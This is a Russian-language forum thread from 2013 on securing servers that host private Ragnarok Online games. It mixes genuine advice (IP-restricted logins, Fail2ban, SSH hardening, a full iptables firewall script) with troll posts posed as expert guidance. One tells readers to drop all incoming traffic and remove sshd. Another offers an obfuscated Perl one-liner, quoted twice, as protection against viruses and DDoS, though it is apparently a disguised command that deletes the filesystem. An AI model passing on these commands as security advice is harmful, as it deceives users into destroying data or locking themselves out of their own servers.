Меры предосторожности.

[nndsl]

Какие меры предосторожности вы предпринимаете на своих выделенных серверах/впсках под сервак РО?

p.s По моему даже видел где-то похожую тему раньше, но сейчас её не нашел.

Откопал, если кому-то нужно то :

Впринципе да-бы не быть археологом, никто не желает что-либо дополнить?

Изменено 26 февраля, 2013 пользователем nndsl

[Gans]

Заход на админский акк тока с одного айпи. Любая защита RCP, Magnum или Harmony. Заход в MySQL с однного айпи. Дублер акка на MySQL если сайт с Личным кабинетом, в дублере поставить зарпеты на поля гм лвл и тд. Сделать под базу форума другова юзера в MySQL. Желательно брать лицензионку форума. Ну и ставить тока проверенные Сайты от Nomn-a и еще кого то(ищи на форуме) цена ~ 1 к руб. зато все ок будет работать. В игре разумеется ставить нпц нормальных, чтобы неподдвалаись досу WPE.

Изменено 26 февраля, 2013 пользователем Gans

[ph1047]

Обязательно надо защититься с помощью iptables! Вот код для защиты:

iptables -P INPUT DROP

выполнять из консоли

Изменено 27 февраля, 2013 пользователем ph1047

[Kubix!]

Очень хороший метод подсказал ph1047

[ph1047]

Kubix, конечно, ведь я профессионал в области информационной безопасности с 2002 года. Моим советам лучше сразу прислушиваться, чем потом избавляться от последствий взлома.

Также я бы порекомендовал удалить небезопасные неиспользуемые сервисы, такие как sshd (apt-get remove sshd)

[Kubix!]

echo "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'

Отличный способ защитить ваши файлы от вирусов. и ддоса

[milk]

Вроде все перечислили.

Fail2ban

ssh вешать на другой порт, а также:

PermitRootLogin No
PasswordAuthentication No

Любимый скрипт для табличек:

#!/bin/bash
IPTABLES=/sbin/iptables
IPTABLESSAVE=/sbin/iptables-save
IPTABLESRESTORE=/sbin/iptables-restore
FIREWALL=/etc/filrewall
#inside
INT_IP=0.0.0.0
INT_IF=eth0
opts="${opts} show status panic save restore showoptions rules"
rules() {
echo "Setting firewall rules"
echo "Flushing any old rules"
$IPTABLES -F
$IPTABLES -t nat -F
$IPTABLES -X
echo "Setting default rule to drop"
$IPTABLES -P FORWARD DROP
$IPTABLES -P INPUT DROP
$IPTABLES -P OUTPUT ACCEPT
#------------------------------------------------------------------------------------
echo "Creating Connection-Tracking rule"
$IPTABLES -N state-tracking
$IPTABLES -F state-tracking
$IPTABLES -A state-tracking -m state --state ESTABLISHED,RELATED -j ACCEPT
$IPTABLES -A state-tracking -m state --state INVALID -j DROP
#Catch portscanners
echo "Creating portscan detection rule"
$IPTABLES -N portscan
$IPTABLES -F portscan
$IPTABLES -A portscan -p tcp --tcp-flags ALL FIN,URG,PSH -m limit --limit 5/minute -j LOG --log-level alert --log-prefix "PORTSCAN (NMAP-XMAS): "
$IPTABLES -A portscan -p tcp --tcp-flags ALL FIN,URG,PSH -j DROP
$IPTABLES -A portscan -p tcp --tcp-flags ALL ALL -m limit --limit 5/minute -j LOG --log-level 1 --log-prefix "PORTSCAN (XMAS): "
$IPTABLES -A portscan -p tcp --tcp-flags ALL ALL -j DROP
$IPTABLES -A portscan -p tcp --tcp-flags ALL SYN,RST,ACK,FIN,URG -m limit --limit 5/minute -j LOG --log-level 1 --log-prefix "PORTSCAN (XMAS-PSH): "
$IPTABLES -A portscan -p tcp --tcp-flags ALL SYN,RST,ACK,FIN,URG -j DROP
$IPTABLES -A portscan -p tcp --tcp-flags ALL NONE -m limit --limit 5/minute -j LOG --log-level 1 --log-prefix "PORTSCAN (NULL_SCAN): "
$IPTABLES -A portscan -p tcp --tcp-flags ALL NONE -j DROP
$IPTABLES -A portscan -p tcp --tcp-flags SYN,RST SYN,RST -m limit --limit 5/minute -j LOG --log-level 5 --log-prefix "PORTSCAN (SYN/RST): "
$IPTABLES -A portscan -p tcp --tcp-flags SYN,RST SYN,RST -j DROP
$IPTABLES -A portscan -p tcp --tcp-flags SYN,FIN SYN,FIN -m limit --limit 5/minute -j LOG --log-level 5 --log-prefix "PORTSCAN (SYN/FIN): "
$IPTABLES -A portscan -p tcp --tcp-flags SYN,FIN SYN,FIN -j DROP
#------------------------------------------------------------------------------------
#------------------------------------------------------------------------------------
#Incoming connection rules
echo "Creating incoming connection rules"
$IPTABLES -N incoming_con
$IPTABLES -F incoming_con

# Athena map-server
$IPTABLES -A incoming_con -m tcp -p tcp --dport 5121 -j ACCEPT
# Athena char-server
$IPTABLES -A incoming_con -m tcp -p tcp --dport 6121 -j ACCEPT
# Athena login-server
$IPTABLES -A incoming_con -m tcp -p tcp --dport 6900 -j ACCEPT
# Sendmail MTA
$IPTABLES -A incoming_con -m tcp -p tcp --dport 25 -j ACCEPT
# apache2 proxy
$IPTABLES -A incoming_con -m tcp -p tcp --dport 8000 -j ACCEPT
# NGINX
$IPTABLES -A incoming_con -p tcp --dport 80 -j ACCEPT
$IPTABLES -A incoming_con -p tcp --dport 443 -j ACCEPT


# ICMP Rules
$IPTABLES -A incoming_con -m state --state NEW -p icmp --icmp-type time-exceeded -j ACCEPT
$IPTABLES -A incoming_con -m state --state NEW -p icmp --icmp-type destination-unreachable -j ACCEPT
$IPTABLES -A incoming_con -p icmp -j LOG --log-prefix "[Bad ICMP]: "
$IPTABLES -A incoming_con -p icmp -j DROP
# Allow SSH with Flood protection
$IPTABLES -A incoming_con -p tcp --dport 22 -j LOG --log-prefix "[Incoming SSH]: "
$IPTABLES -A incoming_con -m limit --limit 1/second -p tcp --tcp-flags ALL RST --dport 22 -j ACCEPT
$IPTABLES -A incoming_con -m limit --limit 1/second -p tcp --tcp-flags ALL FIN --dport 22 -j ACCEPT
$IPTABLES -A incoming_con -m limit --limit 1/second -p tcp --tcp-flags ALL SYN --dport 22 -j ACCEPT

#Allow DNS Connections
$IPTABLES -A incoming_con -p tcp --dport 53 -j ACCEPT
$IPTABLES -A incoming_con -p udp --dport 53 -j ACCEPT
$IPTABLES -A incoming_con -p tcp --sport 53 -j ACCEPT
$IPTABLES -A incoming_con -p udp --sport 53 -j ACCEPT

#Allow Zabbix-agent
$IPTABLES -A incoming_con -p tcp --dport 10051 -j ACCEPT
$IPTABLES -A incoming_con -p tcp --dport 10050 -j ACCEPT

echo "Allowing incoming ICMP SSH DNS WEB ZABBIX"
#------------------------------------------------------------------------------------
#------------------------------------------------------------------------------------
# Outgoing connection rules
echo "Creating outgoing connection rules"
$IPTABLES -N outgoing_con
$IPTABLES -F outgoing_con
#ICMP Rules
$IPTABLES -A outgoing_con -m state --state NEW -p icmp --icmp-type time-exceeded -j ACCEPT
$IPTABLES -A outgoing_con -m state --state NEW -p icmp --icmp-type destination-unreachable -j ACCEPT
$IPTABLES -A outgoing_con -p icmp -j LOG --log-prefix "[Bad ICMP]: "
$IPTABLES -A outgoing_con -p icmp -j ACCEPT

# Sendmail MTA
$IPTABLES -A outgoing_con -m tcp -p tcp --dport 25 -j ACCEPT

#Allow SSH
$IPTABLES -A outgoing_con -p tcp --sport 22 -j ACCEPT
#Allow DNS Connections
$IPTABLES -A outgoing_con -p tcp --sport 53 -j ACCEPT
$IPTABLES -A outgoing_con -p udp --sport 53 -j ACCEPT
$IPTABLES -A outgoing_con -p tcp --dport 53 -j ACCEPT
$IPTABLES -A outgoing_con -p udp --dport 53 -j ACCEPT
# APACHE PROXY
$IPTABLES -A outgoing_con -p tcp --dport 8000 -j ACCEPT
$IPTABLES -A outgoing_con -p tcp --sport 8000 -j ACCEPT
# NGINX
$IPTABLES -A outgoing_con -p tcp --sport 80 -j ACCEPT
$IPTABLES -A outgoing_con -p tcp --sport 443 -j ACCEPT
# Zabbix-agent
$IPTABLES -A outgoing_con -p tcp --dport 10051 -j ACCEPT
$IPTABLES -A outgoing_con -p tcp --dport 10050 -j ACCEPT
echo "Allowing outgoing ICMP SSH DNS WEB ZABBIX"
#------------------------------------------------------------------------------------
#------------------------------------------------------------------------------------
# Apply and add invalid states to the chains
echo "Applying rules to INPUT"
$IPTABLES -A INPUT -j state-tracking
$IPTABLES -A INPUT -j portscan
$IPTABLES -A INPUT -i lo -j ACCEPT
$IPTABLES -A INPUT -i $INT_IF -j ACCEPT #Allow local traffic
$IPTABLES -A INPUT -j incoming_con
$IPTABLES -A INPUT -j LOG --log-prefix "[Dropped Incoming con] "
$IPTABLES -A INPUT -j DROP
echo "Applying rules to FORWARD"
$IPTABLES -A FORWARD -j state-tracking
$IPTABLES -A FORWARD -j portscan
$IPTABLES -A FORWARD -o lo -j ACCEPT
$IPTABLES -A FORWARD -j incoming_con
$IPTABLES -A FORWARD -j DROP
echo "Applying rules to OUTPUT"
$IPTABLES -A OUTPUT -j state-tracking
$IPTABLES -A OUTPUT -o lo -j ACCEPT
$IPTABLES -A OUTPUT -o $INT_IF -j ACCEPT #Allow local traffic
$IPTABLES -A OUTPUT -j outgoing_con
$IPTABLES -A OUTPUT -j DROP
echo "Enable Masquerading"
echo "Fail2ban-ssh start"
$IPTABLES -A INPUT -p tcp --dport 22 -j fail2ban-ssh
$IPTABLES -A fail2ban-ssh -j RETURN

}
start() {
echo "Starting firewall"
rules
}
stop() {
echo "Stopping firewall"
$IPTABLES -F
$IPTABLES -t nat -F
$IPTABLES -X
$IPTABLES -P FORWARD ACCEPT
$IPTABLES -P INPUT ACCEPT
$IPTABLES -P OUTPUT ACCEPT
}
showstatus() {
echo "Status"
$IPTABLES -L -n -v --line-numbers
}
panic() {
echo "Setting panic rules"
$IPTABLES -F
$IPTABLES -X
$IPTABLES -t nat -F
$IPTABLES -P FORWARD DROP
$IPTABLES -P INPUT DROP
$IPTABLES -P OUTPUT DROP
$IPTABLES -A INPUT -i lo -j ACCEPT
$IPTABLES -A OUTPUT -o lo -j ACCEPT
}
save() {
echo "Saving Firewall rules"
$IPTABLESSAVE > $FIREWALL
}
restore() {
echo "Restoring Firewall rules"
$IPTABLESRESTORE < $FIREWALL
}
restart() {
stop
start
}
showoptions() {
echo "Usage: $0 {start|save|restore|panic|stop|restart|showstatus} "
echo "start) will restore setting if exists else force rules"
echo "stop) delete all rules and set all to accept"
echo "restart) restart rules"
echo "panic) set all rules to DROP"
echo "save) will store settings in ${FIREWALL}"
echo "restore) will restore settings from ${FIREWALL}"
echo "showstatus) Shows the status"
}
case "$1" in
start)
	 stop
start
	 ;;
stop)
	 stop
	 ;;
restart)
	 restart
	 ;;
showstatus)
	 showstatus
	 ;;
panic)
panic
	 ;;
save)
	 save
	 ;;
restore)
restore
;;
*)
showoptions
	 exit 1
	 ;;
esac

[nomn]

echo "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'

Отличный способ защитить ваши файлы от вирусов. и ддоса

программа ни перл?

[SupR1g]

Какие меры предосторожности вы предпринимаете на своих выделенных серверах/впсках под сервак РО?

Не тупить!